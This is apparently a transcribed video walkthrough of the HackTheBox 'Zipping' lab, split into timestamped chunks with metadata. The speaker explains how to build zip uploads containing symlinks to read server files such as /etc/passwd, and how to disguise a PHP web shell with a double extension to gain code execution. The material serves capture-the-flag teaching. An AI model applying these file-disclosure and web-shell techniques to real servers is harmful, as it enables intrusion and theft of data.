way so we're going to do two unintended ways to solve this and then we'll do the intended way um and I'm just doing them in kind of like logical order so the vulnerability here wasn't intended for you to be able to get code execution the whole like um for rapper this was unknown at the time when the Box released at lea... | 972.6 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
here uh browser thinks it's a PDF so let's curl it we get the um passwd off the server so it's a vulnerability similar to I guess zip slip but it's not exactly that um it's just because when it unzips it it's preserving the Sim link and that's an intended thing so that allows us to read files so the next step would be ... | 1,050.36 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
fdp I say it's not an lfi because for me lfis require include statements which will execute code um because it's local file inclusion and here we can just disclose source code we can just read files so to me that's a file disclosure um so let's see what do we want to do here the first first thing is we're going to have... | 1,116.76 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
bytesio and that may be a bad name um okay so whenever you see payload that is going to be the zip file right it's going to behave just like a file on dis but it's in memory so now we want to create a uh ZIP archive I'm going to call this um note. PDF or we'll call it r.pdf because that's I think what we're supposed to... | 1,172.2 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
so we can do zip out and then instead of the file name I'm just going to put payload uh we write link Target what is link Target here that's the file so this we'll say create zip Target file like that okay and we want to return payload get value so this is going to return the zip so if I did a um create zip of let's do... | 1,262.679 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
right what's this going to do see must have exactly one create mode right binary okay there we go so let's 7zx do extract this and we have res pointed to r.pdf oh that's what we had um right so that file yeah this just should be Etsy passwd so let's do I can delete every file other than fdp so let's delete that um RM f... | 1,383.24 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
so um I'm just going to hard code it to Etsy PD here once it works then one do ARG Pur and um have it accept something so let's see I don't know we want to do files as equal to and then we have to give it the print parameters where is a file upload form so let's see the first parameter we want is the name which is zip ... | 1,509.24 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
going to be the HTTP response right so let's do Python 3 fdp if you're interested so it uploaded successfully and we get this md5 sum now this md5 sum is the md5 sum of the uh file we upload so we can either have regex or call this and grab this md5 or you can just calculate it ourselves I'm just going to calculate mys... | 1,594.159 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
payload so let's see what happens with this boom now we have it so we can get any file off the server so we could either like import CMD and make a command line application around it so we just can uh grab files quickly but I'd rather just use aring so I can direct a file to save it so let's do that let's go back into ... | 1,688.84 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
arv1 so we just grabbed the first argument I didn't actually use ARG Pur but um that should be fine so we run this say Etsy passwd we have that file so if I wanted to I could easily just save it with redirecting it so what I want to do is um let's do proc self CMD line we can see we're in Apache so we could go to like ... | 1,725.12 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
syntax highlighting let's see where does the PHP code begin here we go so this is going to be the PHP code and here we're creating the md5 hash that's what we did in the python right we have temp dur we're creating a zip archive and it's going to get the name index so this is going to get the very first item out of the... | 1,799.44 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
upload directory is the file hash so the only place we have real user input is in a properly um escaped well I don't want to say properly but in a place where it's not easy for us to get code execution then we do this file exist call we kind of already figured oh we this is a different file exist um so when it uploads ... | 1,871.08 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
um because this behavior is interesting so let's see we have file.zip um trying to think of a good way to show this let's go back to.php and I'm going to copy p. PHP to p. php. PDF put two periods here okay so now I'm going to zip p. PHP PDF and we're going to call it um per. zip that's fine and I reverse those again t... | 1,943.559 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
is I'm going to make a zip smaller uh let's do pone php. PDF let's remove pa.zip um V we'll call it shell. | 2,050.96 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
PHP uh PHP system ID let's just run that command if we get that then we know it's executing or do PHP infl that's always a good one okay because we've already proved we got a shell with um the other method so we can just do it this way so we have shell. PHP there um let's rename it to Shell PHP PDF we actually want two... | 2,065.879 | 0 | {
"video_id": "C78yku9WC0o",
"title": "HackTheBox Zipping",
"url": "https://www.youtube.com/watch?v=C78yku9WC0o"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.